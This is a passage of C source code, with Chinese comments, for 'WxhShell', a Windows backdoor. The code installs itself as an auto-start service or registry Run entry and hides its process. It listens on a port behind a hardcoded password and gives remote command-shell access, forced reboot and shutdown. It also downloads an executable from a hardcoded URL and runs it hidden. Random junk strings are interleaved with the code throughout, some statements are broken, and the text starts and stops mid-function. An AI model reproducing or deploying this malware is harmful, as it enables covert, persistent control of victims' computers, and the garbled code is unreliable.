$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {`@G+JV~Jw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |CyE5i0 5$k:t HANDLE hProcess; [4f{w%~^ PROCESS_BASIC_INFORMATION pbi; j\M?~=*w ?=Kduef HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > ~O.@| if(NULL == hInst ) return 0; Gd85kY@w7 gcT%c|. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Ir:g=RP* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ym1Y4, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @q)d P&Vv/D if (!NtQueryInformationProcess) return 0; nu%*'. wibNQ`4k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cvL;3jRo if(!hProcess) return 0; [4)F f =I_'.b if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cr;da) tCt#%7J;a CloseHandle(hProcess); +ZP7{% Nh44]* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?:0Jav if(hProcess==NULL) return 0; sYA1\YIii BI@[\aRLQ HMODULE hMod; S_H+WfIHV' char procName[255]; dR]m8mdqc1 unsigned long cbNeeded; 8}:nGK|kx h<QY5=SF if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V0mn4sfs ]`WJOx4 CloseHandle(hProcess); Mi_$">1-W )^hbsMhO if(strstr(procName,"services")) return 1; // 以服务启动 pA4xbr 2 %W S+(0*1 return 0; // 注册表启动 JBZ@'8eqi] } WcGS9`m/ @=u3ZVD // 主模块 ns4,@C$ int StartWxhshell(LPSTR lpCmdLine) I>$&-i { OY({.uV dX SOCKET wsl; FS1z`wYP BOOL val=TRUE; E]r?{t`] int port=0; owv[M6lbD struct sockaddr_in door; jebx40TA3 qH_Dc=~la if(wscfg.ws_autoins) Install(); "m>81-0 Vxt+]5X port=atoi(lpCmdLine); BZ^}J!Q'* oXgcc*j if(port<=0) port=wscfg.ws_port; veECfR; (/]
J3 WSADATA data; N'=gep0V@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Ch.cE_ 7G],T++N if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GC'O[q+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2X&qE}%k S door.sin_family = AF_INET; [2cD:JL door.sin_addr.s_addr = inet_addr("127.0.0.1"); _@/8gPT*i door.sin_port = htons(port); ^LLzZnkcZ k9F=8q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c&Q$L } closesocket(wsl); /Z4et'Lo return 1; ?aMOZn? } d/@,@8: <OPArht if(listen(wsl,2) == INVALID_SOCKET) { <#HYqR', closesocket(wsl); hE-M$LmN@ return 1; /qw.p# } QS`] Wxhshell(wsl); 1h5 Akq WSACleanup(); vZ Lf "kF g return 0; e96k{C`j0 &cTU
sK } FVBYo%Ap x,V r=FB // 以NT服务方式启动 hpk7 Anp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R G`1en { =g|FT DWORD status = 0; =tY T8Q;al DWORD specificError = 0xfffffff; |Q>IrT IE~ |iQ?- serviceStatus.dwServiceType = SERVICE_WIN32; >LuYHr serviceStatus.dwCurrentState = SERVICE_START_PENDING; #_ lDss serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e>7i_4(C serviceStatus.dwWin32ExitCode = 0; 4KrL{Z+} serviceStatus.dwServiceSpecificExitCode = 0; u#SWj,X serviceStatus.dwCheckPoint = 0; 3+bt~J0 serviceStatus.dwWaitHint = 0; Aiea\jBv t#"Grk8Mz& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rVsJ`+L if (hServiceStatusHandle==0) return; <54
S Y6d@h? ht status = GetLastError(); vr^qWn if (status!=NO_ERROR) 0ZO2#>gh$ { Du){rVY^d serviceStatus.dwCurrentState = SERVICE_STOPPED; sx<%2 serviceStatus.dwCheckPoint = 0; %~S&AE- serviceStatus.dwWaitHint = 0; DlNX 3 serviceStatus.dwWin32ExitCode = status; |^H5^k "Bv serviceStatus.dwServiceSpecificExitCode = specificError; ;*&-C9b SetServiceStatus(hServiceStatusHandle, &serviceStatus); xkR0 return; GuL<Z1<c } >F&47Yn Sa5G.^XI serviceStatus.dwCurrentState = SERVICE_RUNNING; wlmRe`R serviceStatus.dwCheckPoint = 0; `@s^(hc7i serviceStatus.dwWaitHint = 0; X\F|Tk3_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5/z/>D; } X[TR3[1} `y* }lg T // 处理NT服务事件,比如:启动、停止 t&DEb_"De VOID WINAPI NTServiceHandler(DWORD fdwControl) Wo,?+I { 29q _BR *: switch(fdwControl) ~F7gP{r { ^G-@06 /! case SERVICE_CONTROL_STOP: dC4'{n|7 serviceStatus.dwWin32ExitCode = 0; 4xJQ!>6 serviceStatus.dwCurrentState = SERVICE_STOPPED; >yh2Lri serviceStatus.dwCheckPoint = 0; Y[S1$(K&* serviceStatus.dwWaitHint = 0; >@AB<$A { RCLeA=/N@0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); C{wEzM: } M&
CqSd return; \5cpFj5% case SERVICE_CONTROL_PAUSE: }4S6Xe serviceStatus.dwCurrentState = SERVICE_PAUSED; ;6hOx(>`= break; Dn }Jxu'( case SERVICE_CONTROL_CONTINUE: 1@=po)Hnp serviceStatus.dwCurrentState = SERVICE_RUNNING; !5?<% * break; =E{`^IT'R case SERVICE_CONTROL_INTERROGATE: da~],MN break; tFl"n;~T }; &Y eA:i? SetServiceStatus(hServiceStatusHandle, &serviceStatus); NW)1#]gg% } gv{ >`AN FU<Jp3<% // 标准应用程序主函数 7vj2
`+r. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dGTsc/$ { :p6M= gKCX|cULY // 获取操作系统版本 FNId; OsIsNt=GetOsVer(); K 'I#W
lg GetModuleFileName(NULL,ExeFile,MAX_PATH); pFz`}?c0 8sK9G`
k // 从命令行安装 uA#;G/$ if(strpbrk(lpCmdLine,"iI")) Install(); {cw /!B q6X1P"%. // 下载执行文件 #yvGK:F if(wscfg.ws_downexe) { eQvg7aO; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -o
EW:~y WinExec(wscfg.ws_filenam,SW_HIDE); 5QO9Q]I#_\ } Jqi%|,/] N _oDz- if(!OsIsNt) { vgN&K@hJ // 如果时win9x,隐藏进程并且设置为注册表启动 !FF U=f HideProc(); 7i1q wRv StartWxhshell(lpCmdLine); J!7MZLb } |IUWF%~^$+ else U|j`e5) if(StartFromService()) O!bOp= // 以服务方式启动 5.J.RE"M StartServiceCtrlDispatcher(DispatchTable); w^0nqh else K,:N // 普通方式启动 63x?MY6 StartWxhshell(lpCmdLine); t5IEQ2 iMRwp+$ return 0; Ok\7y-w^ } [;myHI`tw Nu~lsWyRI5 % +\."eC ',5ky{ =========================================== =zs`#-^8 ]L}dzA?: 57'4ljvYi U_c *6CK DkAAV9* yyy|Pw4:Z " ,izO{@We2{ 6Sn .I1Wy #include <stdio.h> QUQ'3 #include <string.h> 0}dpK $. #include <windows.h> Tc3yS(aq #include <winsock2.h> #
c^z&0B} #include <winsvc.h> WvZ8/T'x #include <urlmon.h> }|5Pr(I Fh9h,'
V" #pragma comment (lib, "Ws2_32.lib") 4#hSJ(~7S #pragma comment (lib, "urlmon.lib") gt w Q- )B8$<sv #define MAX_USER 100 // 最大客户端连接数 r^ ZEImjc #define BUF_SOCK 200 // sock buffer D=&Me=$ #define KEY_BUFF 255 // 输入 buffer K8Y=S12Ti uOdl*| T? #define REBOOT 0 // 重启 c<$OA=n #define SHUTDOWN 1 // 关机 gjzuG<7m Jma1N;d #define DEF_PORT 5000 // 监听端口 Q#[9|A9 W-lN>]5}m #define REG_LEN 16 // 注册表键长度 g_COp"!~9 #define SVC_LEN 80 // NT服务名长度 <dhM\^[ c6]D-YNFG // 从dll定义API hpL;bM' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &W6^sj*k5U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ."y1_dDql typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wZZ t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rr|VD@% L5:$U>H( // wxhshell配置信息 Alw3\_X struct WSCFG { %z4Nl$\ int ws_port; // 监听端口 'F#KM1s char ws_passstr[REG_LEN]; // 口令 B~Xw[q int ws_autoins; // 安装标记, 1=yes 0=no mUF,@>o char ws_regname[REG_LEN]; // 注册表键名 ~zNAbaC+>t char ws_svcname[REG_LEN]; // 服务名 XAL1|]S char ws_svcdisp[SVC_LEN]; // 服务显示名 iTU5l5U z char ws_svcdesc[SVC_LEN]; // 服务描述信息 fkNbS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xe&i^+i int ws_downexe; // 下载执行标记, 1=yes 0=no 3WIk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O/(xj2~$J char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vTw>JNVI 3n}?bY8@5_ }; yd`mG{Z 'u<juFr // default Wxhshell configuration RQu(Wu|m. struct WSCFG wscfg={DEF_PORT, $[=%R`~w "xuhuanlingzhe", Pw!MS5=r 1, e(=w(;84 "Wxhshell", 9|CN8x- "Wxhshell", LOV)3{m "WxhShell Service", H\tUpan6fy "Wrsky Windows CmdShell Service", PdtvU-( "Please Input Your Password: ", \7'{g@C( 1, ?"g2v-jTK "http://www.wrsky.com/wxhshell.exe", JbQ) sp "Wxhshell.exe" 6 3,H{ }; I,@6J(9 >>fH{/l // 消息定义模块 *N'p~LJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "d5n \@[t char *msg_ws_prompt="\n\r? for help\n\r#>"; OMg<V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >_ 2dvg=U char *msg_ws_ext="\n\rExit."; /HRFAqep char *msg_ws_end="\n\rQuit.";
n$,*|_$# char *msg_ws_boot="\n\rReboot..."; zi*R`;_`, char *msg_ws_poff="\n\rShutdown..."; naznayy char *msg_ws_down="\n\rSave to "; .$) 2Ny"O.0h char *msg_ws_err="\n\rErr!"; 7,9=uk>0\ char *msg_ws_ok="\n\rOK!"; WKa~[j|-K R/>@+ char ExeFile[MAX_PATH]; PxkOT* int nUser = 0; GD_hhDyD HANDLE handles[MAX_USER]; +-CtjhoS int OsIsNt; 2n"V}p>8i# |T)6yDL SERVICE_STATUS serviceStatus; :^3LvPM SERVICE_STATUS_HANDLE hServiceStatusHandle; g0ly i3'9>"` // 函数声明 T\>a! int Install(void); k4y'b int Uninstall(void); 5>N2:9We int DownloadFile(char *sURL, SOCKET wsh); 1gN=-AC int Boot(int flag); !LN?PKJ void HideProc(void); s'J:f$flS int GetOsVer(void); g:Xhw$x9 int Wxhshell(SOCKET wsl); AvV|(K" void TalkWithClient(void *cs); 'AEE[
int CmdShell(SOCKET sock); 56-dD5{hxR int StartFromService(void); =`s!; int StartWxhshell(LPSTR lpCmdLine); p hzKm9 !Bq3Z?xA} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {w^+\]tC VOID WINAPI NTServiceHandler( DWORD fdwControl ); +8d1|cB" vbe|hO"" // 数据结构和表定义 6?~"V SERVICE_TABLE_ENTRY DispatchTable[] = G@jZ)2
{ 0-yp,G {wscfg.ws_svcname, NTServiceMain}, .j<]mUY {NULL, NULL} TXvI4"& }; K\6u9BYG !sW(wAy?o // 自我安装 @x'"~"%7b int Install(void) [o+q>|q { y0.8A-2: char svExeFile[MAX_PATH]; e)#J1(j_ HKEY key; c*L\_Vx+ strcpy(svExeFile,ExeFile); iq( E'`d EkNunCls // 如果是win9x系统,修改注册表设为自启动 e-#BDN(O if(!OsIsNt) { nWYN Np?h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E`de7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n'kG] Q RegCloseKey(key); !1 8clL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aa#Y=%^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =sJ7=39 RegCloseKey(key); H0`]V6+<f return 0; -0{r>,&Mm } #S*/bao# } |\IN.W[EL } K<Iv:5-2 else { Ne{?:h.! '2nhv,|.U // 如果是NT以上系统,安装为系统服务 *XbEiMJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]<rkxgMW> if (schSCManager!=0) F{~{Lthc { ,UGRrS SC_HANDLE schService = CreateService cacr=iX ( %'7lbpy,f schSCManager, WR yaKM wscfg.ws_svcname, yiC^aY=- wscfg.ws_svcdisp, ?6un4EVL{ SERVICE_ALL_ACCESS, UK O[r; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^!ZC?h!rG SERVICE_AUTO_START, ';jYOVe SERVICE_ERROR_NORMAL, >TnTnF WX svExeFile, Be=u&T:~ NULL, vZ&T}H~8 NULL, _R13f@NWB: NULL, fS [,vPl NULL, kG@@ot" n NULL *|>d ); dDGgvi|[Mz if (schService!=0) 2ZMb<b4H { e .2ib?8 CloseServiceHandle(schService); {kCw+eXn? CloseServiceHandle(schSCManager); p~^D\jR. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'H&2HXw&2 strcat(svExeFile,wscfg.ws_svcname); XJ` ]ga if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z/0fXn}) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ],FMwCI RegCloseKey(key); 9~mh@Kgv return 0; JedmaY06= } s{S4J'VW } M&@b><B CloseServiceHandle(schSCManager); f'-i o<. } aM2l2 } ?Exv|e B~JwHwIhA return 1; ~&8^9E a } o+QE8H43 f]|ysf // 自我卸载 YoZFwRQU int Uninstall(void) r(aLEJ"u? { 1#*a:F&re HKEY key; M/ni6%x Jz.NHiLct1 if(!OsIsNt) { v~V5`% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Yicg6: RegDeleteValue(key,wscfg.ws_regname); CBOi`bEf RegCloseKey(key); L,`Lggq- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;8*`{F[ RegDeleteValue(key,wscfg.ws_regname); G_{&sa RegCloseKey(key); 6@e+C;j= return 0; 8U>B~9:JO } L[H5NUG! } KJ=6 n%6 } jN>{'TqW4 else { D@|W<i- jR22t`4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^ZhG>L* if (schSCManager!=0) V |/NB { ') gi% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o/6-3QUak if (schService!=0) V\6[}J { /<}m? k\ if(DeleteService(schService)!=0) { >.'*)@vQi CloseServiceHandle(schService); Nz+949X CloseServiceHandle(schSCManager); rI>aAW' return 0; 8lb%eb]U } O-cbX/d CloseServiceHandle(schService); AW_(T\P:u } v<OJ69J CloseServiceHandle(schSCManager); ,M6Sy]Aj } YW`,v6 } (TwnkXrR, "@d[h ,TM return 1; wsN?[=l{s } }YMy6eW4 t!x5 fNo) // 从指定url下载文件 y[\VUzD*' int DownloadFile(char *sURL, SOCKET wsh) 6morum { 2f:Eof(B
HRESULT hr; }i`PGx char seps[]= "/"; {Jx4xpvPo char *token; SWQ5fcPu char *file; tqeZ#w7 char myURL[MAX_PATH]; aj}sc/Qa char myFILE[MAX_PATH]; VUYmz)m5 n;U`m$vL% strcpy(myURL,sURL); Tekfw token=strtok(myURL,seps); h0-hT while(token!=NULL) /D^"X
4!" { ;F#7Px(q file=token; ?)[EO(D token=strtok(NULL,seps); D
<&X_ } 9h%?QC BV(8y.H GetCurrentDirectory(MAX_PATH,myFILE); a,+@|TJ,i strcat(myFILE, "\\"); r'uGWW"w strcat(myFILE, file); $dzy%lle send(wsh,myFILE,strlen(myFILE),0); D]W$?(=4 send(wsh,"...",3,0); 1~ t{aLPz hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =ng\ 9y[;D if(hr==S_OK) bH2MdU return 0;
8<7GdCME else m-DsY return 1; .YnFH$;$ _~tEw.fM5 } 0=q;@OIf *U$!I?
// 系统电源模块 {g~bQ2wDC int Boot(int flag) uN^=<B?B { Sh,&{z! HANDLE hToken; 'd&0Js$^ TOKEN_PRIVILEGES tkp; \nB8WSvk2W 199]W Hc if(OsIsNt) { 'GoZqiYT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Da:unVbU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ck@J,~x1D tkp.PrivilegeCount = 1; HJ[/|NZU$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3=$q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >sjhA|gXk if(flag==REBOOT) { /K{9OT@> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ""h)LUrl return 0; 6"t;gSt4 } L%$|^T=% else { E+ tB& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N,
*m , return 0; .8uz 6~ } bY2 C]r(n } _s$_Sa ; else { RZ7(J if(flag==REBOOT) { mVsIAC$}8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) drd/ jH& return 0; 6uKMCQ=h } /c-r else { ^/=#UQ*k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b}wC|\s return 0; A@D2+fS } 3
M10fI? } 8kt5KnD2 Q33"u/-v return 1; %#Z/2<_ } lR`'e0Lq qdG~!h7j // win9x进程隐藏模块 Y<b-9ai<w void HideProc(void) l?DJJ|> O { ,\d6VBP& q@~L&{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kctzNGF| if ( hKernel != NULL ) ^(f4*m6` { L0]_hxE? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @a>2c$% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5P+t^\ FreeLibrary(hKernel); :@xm-.D } IU]^&e9u <uk1?Qg return; 1w0OKaF5 } )wtaKF.- ;.Ie#Vr1N // 获取操作系统版本 -MugnB6
int GetOsVer(void) u=NSsTP& { j9U%7u]-k OSVERSIONINFO winfo; <{: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8dOo Q GetVersionEx(&winfo); =GBI0&U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z6~
H:k1G% return 1; *P!e:Tm) else 3!o4)yJWx return 0; $RwB_F } C4#rA.nF| oM1
6C| // 客户端句柄模块 (zYy}g#n int Wxhshell(SOCKET wsl) ]:$
O{y { vNOH&ja-s SOCKET wsh; b*mKei struct sockaddr_in client; >x@P|\ DWORD myID; c<BO gNr XC3Kh^ while(nUser<MAX_USER) '[(nmx'yVJ { M4LktR-[ int nSize=sizeof(client); Gy Qm/I wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }Y1>(U if(wsh==INVALID_SOCKET) return 1; w_4]xgS: =AEz9d ciS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eL.7#SIr} if(handles[nUser]==0) NOK/<_/ closesocket(wsh); HFQR
;9] else rJ'I>Q~x6 nUser++; o:dR5v } }2r+%V&4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5q<zN ^Ori|
4}' return 0; a>B[5I5 } DrvtH+e m:O(+Fl // 关闭 socket y8bM<e2
U void CloseIt(SOCKET wsh) ql&*6KZ" { i_LF`JhEQT closesocket(wsh); zN_:nY> nUser--; mN5
8r"!J ExitThread(0); t.hm9}UQ } Vjm_F!S 7C?.L70ZY // 客户端请求句柄 3%<C<( void TalkWithClient(void *cs) MuEy>dl { L1)@z8] )I@L+ SOCKET wsh=(SOCKET)cs; $H'X V"<o char pwd[SVC_LEN]; %YlTF\- char cmd[KEY_BUFF]; MYnH2w] char chr[1]; VnJMmMM int i,j; "x&C5l}n z&3]%t
`C while (nUser < MAX_USER) { >1irSUj"~ A~{f/%8D if(wscfg.ws_passstr) { AzpV4(:an. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ 'QdFkOr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]&i+!$N_ //ZeroMemory(pwd,KEY_BUFF); [{<dbW\ 9 i=0; 6a>H|"PNE while(i<SVC_LEN) { W*xX{$NL >^"BEG9i: // 设置超时 <3O T>E[ fd_set FdRead; "!Rw)=7O struct timeval TimeOut; IdRdW{o FD_ZERO(&FdRead); FFGqa& FD_SET(wsh,&FdRead); bYh9sO/l TimeOut.tv_sec=8; zy N (4 TimeOut.tv_usec=0; EZ(^~k=I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g"!\\:M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -lRhz!E] L$Z(+6m5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qMS}t3X pwd=chr[0]; ^2M!*p&h if(chr[0]==0xd || chr[0]==0xa) { ~j @UlP pwd=0; <-jGqUN_I break; fjDpwb:x) } oBlzHBn>0 i++; 8!h'j } 2Q$\KRE f'dK73Xof // 如果是非法用户,关闭 socket cc> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VKLU0*2R } ~j,TVY C'9 1d7E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +3bfD send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? Ekq6uz\) H^CilwD158 while(1) { {B yn{?w '%3{jc-} ZeroMemory(cmd,KEY_BUFF); LnMwx#^* ,\hYEup // 自动支持客户端 telnet标准 _Nu`)m j=0; I Ru$oF} while(j<KEY_BUFF) { }NX\~S" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); liNON cmd[j]=chr[0]; Q.(51]' if(chr[0]==0xa || chr[0]==0xd) { u5gZxO1J5 cmd[j]=0; v`G U09 break; #cEq_[yI } sdF3cX j++; 2Yyb#Ow } WhUa^ "jU // 下载文件 bBE^^9G=Z if(strstr(cmd,"http://")) { }g,X5v?W send(wsh,msg_ws_down,strlen(msg_ws_down),0); z=?0)e(H, if(DownloadFile(cmd,wsh)) 'rV2Bt, send(wsh,msg_ws_err,strlen(msg_ws_err),0); "zZ&n3=@ else dV$!JTsd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AZ8UXq } WX*cI Cb5 else { mvf
_@2^ hrlCKL& switch(cmd[0]) { 712=rUI%! c57b f // 帮助 S_!R^^ySG9 case '?': { s}b*5@8|tA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4 ROWz break; (/q}mB } t+}uIp42< // 安装 [>uwk``_ case 'i': { gO{W#% if(Install()) r|8V @.@i send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\;GoGsez else ~M[>m~8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O&P>x#w break; :Ba-u } OX,F09.C // 卸载 &@'V\5G case 'r': { v =+k"gm6 if(Uninstall()) u-/3(dKt send(wsh,msg_ws_err,strlen(msg_ws_err),0); CI1m5g [P else S^g]:Xh& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F r/QW7B5 break; `1p?*9Ssn } 5fxbA2\ // 显示 wxhshell 所在路径 $WD +Q@6 case 'p': { ?hSha)1: char svExeFile[MAX_PATH]; @5*xw1B strcpy(svExeFile,"\n\r"); w2<*$~C] strcat(svExeFile,ExeFile); 4O Zy&, send(wsh,svExeFile,strlen(svExeFile),0); &x/k^p= break; Cs;<'[_?YO } NQ3|\<Wt // 重启 9_`3IJ case 'b': { :,=Fx</H send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '!j(u@&! if(Boot(REBOOT)) >?Qxpqf2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); :dbV2'vIQ else { B(EtXB9 closesocket(wsh); v7$9QVze ExitThread(0); R]fYe#!" } Dpp@*xX> break; @>9A$w$H|a } v*gLNB,ZH // 关机 "x.88,T6 case 'd': { ?ZM^%]/+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kk56/(_S if(Boot(SHUTDOWN)) kBUufV~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `i{4cT8: else { <W9) Bq4 closesocket(wsh); 6g5]=Q@U: ExitThread(0); GfQ^@Tl } !%)L&W_ break; ]LY^9eK)>{ } nR#a)et // 获取shell ma`w\8a case 's': { ;C6O3@Q CmdShell(wsh); IM2/(N.% closesocket(wsh); t"#lnG!G ExitThread(0); Fj48quW1\P break; FRD<0o /` } fzOMX
z // 退出 *@=fq|6l 2 case 'x': { A< |